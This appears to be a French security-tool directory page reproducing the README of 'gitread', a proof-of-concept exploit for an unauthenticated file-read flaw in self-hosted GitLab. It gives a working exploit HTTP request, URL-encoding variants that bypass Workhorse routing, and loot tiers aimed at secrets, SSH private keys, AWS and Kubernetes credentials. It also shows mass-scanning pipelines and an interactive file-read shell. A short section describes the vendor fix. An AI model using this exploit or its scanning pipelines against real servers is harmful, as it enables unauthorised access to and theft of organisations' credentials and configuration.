Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
gitread — CVE-2026-85706 · Lecture de fichiers non authentifiée dans GitLab CE/EE · PoC de recherche avec mode oracle, énumération de descripteurs de fichiers et ciblage de butin par niveaux | Kitploit
Outils/GitHubGitHub/plur1bu5/gitread
ReconnaissanceAnalyse des VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'IntrusionRed Teaming
GitHubplur1bu5/gitread
1il y a 17h 57mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

gitread

CVE-2026-85706 · Lecture de fichiers non authentifiée dans GitLab CE/EE · PoC de recherche avec mode oracle, énumération de descripteurs de fichiers et ciblage de butin par niveaux

Voir le dépôt
Partager

gitread

PoC pour CVE-2026-85706, une lecture arbitraire de fichier non authentifiée affectant GitLab CE/EE auto-hébergé.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Affecté18.7 à 19.1.7, 19.2.0 à 19.2.5, 19.3.0 à 19.3.1
Corrigé19.1.8 / 19.2.6 / 19.3.2 (publié le 2026-09-10)
ComposantRepository Commits API / Files API (Workhorse body-upload)
Rapporteurs3ntago via GitLab HackerOne

Fonctionnement

Trois endpoints de l'API repository se trouvent derrière le requestBodyUploader de Workhorse :

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Le handler Rails appelle File.open(params['file.path']) avant authenticate!. Quatre conditions rendent cela exploitable :

1. L'authentification se déclenche après la lecture du fichier. require_gitlab_workhorse! ne vérifie que l'en-tête JWT Gitlab-Workhorse-Api-Request. Workhorse appose cet en-tête sur chaque requête qu'il proxifie, y compris les simples passthroughs. Le véritable authenticate! se trouve à l'intérieur de authorize_push_to_branch!, qui s'exécute après que file_params_from_body_upload a déjà lu le fichier sur le disque.

2. file.path provient directement de la requête. file_params_from_body_upload lit params['file.path'] comme un chemin absolu sans aucune validation. Dans le flux prévu, Workhorse écrit l'upload dans un fichier temporaire et injecte lui-même ce paramètre. Un attaquant l'envoie simplement directement comme paramètre de query string pointant n'importe où sur le système de fichiers.

3. Le matching de routes de Workhorse ne décode jamais le percent-encoding. Workhorse fait correspondre les routes d'upload avec EscapedPath(), les octets bruts de l'URL tels que reçus. Puma décode les séquences %XX avant le routage vers Grape. Ainsi, encoder un caractère dans un segment statique fait que Workhorse saute sa règle de réécriture tandis que Rails route toujours vers le handler vulnérable :

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack renvoie le contenu du fichier dans la réponse d'erreur. Avec Content-Type: application/x-www-form-urlencoded, le contenu du fichier est transmis à Rack::Utils.parse_nested_query. Tout % nu non suivi de deux chiffres hexadécimaux déclenche InvalidParameterError: invalid %-encoding (<content>). Tout ce qui précède le premier & dans le fichier est renvoyé dans le corps de la réponse 400.

Les fichiers sans % nu sont tout de même lus avant authentification. La réponse 401 de la branche urlencoded et la 500 de la branche multipart confirment toutes deux que le fichier existe et est lisible par l'utilisateur git, ce qui les rend utiles comme oracle d'existence.

Requête d'exploit :

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Fonctionnalités

  • --file lit n'importe quel fichier unique ; bascule automatiquement vers l'oracle s'il n'y a pas de déclencheur d'écho
  • --loot exécute 36 cibles réparties sur 7 niveaux, ordonnées par probabilité confirmée de déclencheur d'écho
  • --oracle exécute une sonde à double branche (urlencoded + multipart) contre les fichiers sans écho et indique si chacun est lisible, manquant ou illisible
  • --proc énumère /proc/self/fd/0-31 pour trouver les descripteurs de fichiers ouverts, puis lit les cibles de reconnaissance /proc standard
  • --shell ouvre un shell interactif de lecture de fichiers avec les commandes cat, loot, oracle, project et curl
  • --pipe lit les cibles depuis stdin et gère la sortie subfinder, le texte httpx, le JSON httpx, le JSON nuclei et les lignes d'hôtes brutes
  • --list prend un fichier de cibles, une par ligne
  • --threads pour le scan en masse concurrent
  • --proxy route tout via Burp ou mitmproxy
  • --raw écrit les octets bruts sur stdout sans décoration, utile pour rediriger vers un fichier
  • --full exécute loot, oracle et proc en une seule passe
  • Sortie de rapport JSON et JSONL via -o
  • Empreinte de version GitLab avec vérification de la plage affectée
  • Prise en charge des couleurs du terminal Windows

Installation

root@kitploit:~
pip install requests
python3 gitread.py -h

Nécessite Python 3.10 ou plus récent. Aucune autre dépendance.

Utilisation

Cible unique

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin est détecté automatiquement lorsqu'il ne s'agit pas d'un TTY, donc --pipe est optionnel dans la plupart des cas.

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Verdicts de réponse

VerdictSignification
leakContenu du fichier renvoyé dans le corps 400, lecture confirmée
leak-fragÉcho partiel via une erreur de type de paramètre
read-noechoLe fichier a été lu avant authentification mais ne contient pas de % nu, donc rien n'est renvoyé
READABLELa branche multipart a renvoyé 500, le fichier existe et est lisible par l'utilisateur git
missingLe serveur a indiqué que le fichier local est absent
rewriteWorkhorse a réécrit le corps, cette forme de contournement est morte
norouteRails 404, l'instance est corrigée ou le chemin est erroné
server-error500, le fichier existe mais a provoqué une erreur de parsing

Niveaux de loot

NiveauFichiersÉcho
1gitlab.rb, gitlab.yml, redis.confFuite de contenu directe
2gitlab-secrets.json, secrets.yml, database.ymlOracle uniquement, hexadécimal pur
3.gitlab_workhorse_secretOracle uniquement
4Clés privées SSH et authorized_keysOracle uniquement
5gitlab-shell.yml, gitaly.toml, configuration PostgreSQLOracle uniquement
6Jeton de compte de service Kubernetes, identifiants AWSOracle uniquement
7Hostname, hosts, passwd, os-release, environOracle uniquement

Options

OptionDescription
-t, -u, --targetURL de base unique
--pipeLire les cibles depuis stdin
--list FILEFichier de cibles
--file PATHChemin absolu unique à lire
--lootExécution complète du loot sur 36 cibles
--oracleSonde à double branche des fichiers sans écho
--procÉnumération des fd /proc et reconnaissance
--shellShell interactif après le scan
--fullloot + oracle + proc
--project-id IDForcer un id de projet au lieu de l'auto-détection
--forceScanner même si la cible ne s'identifie pas comme GitLab
--rawÉcrire les octets bruts sur stdout, sans décoration
--proxy URLProxy HTTP/S
--threads NThreads de travail pour le mode pipeline (défaut 8)
--timeout NTimeout par requête en secondes (défaut 15)
-o FILEEnregistrer le rapport (.json pour un tableau formaté, autre chose pour JSONL)
-q, --quietN'afficher que les hits
-v, --verboseAfficher chaque tentative de sonde
--no-bannerSupprimer la bannière

Codes de sortie : 0 fuite confirmée, 1 oracle uniquement ou aucune fuite en pipeline, 2 rien trouvé.

Correctif

Corrigé dans le commit master 0d9ce3e7, rétroporté sous 1fe30154 / b43c8b26 / 0ff7b6b2.

Trois choses ont été modifiées en même temps :

  1. authenticate! a été déplacé avant file_params_from_body_upload dans les trois endpoints afin que le fichier ne soit jamais lu pour une requête non authentifiée
  2. file.path n'est désormais accepté que depuis un objet UploadedFile typé produit par le middleware multipart, ce qui nécessite un JWT valide signé par Workhorse, et non depuis un paramètre de query string brut
  3. InvalidParameterError n'interpole plus e.message dans le corps de la réponse, fermant ainsi le canal d'écho même si quelqu'un trouvait un moyen de contourner les deux premiers correctifs

Le bug a été introduit dans GitLab 18.7 (décembre 2025) lorsque la variante body-upload de l'API commits a été ajoutée.


fait avec amour par @plur1bu5 -- si vous le trouvez utile, une étoile est appréciée

Télécharger l’outil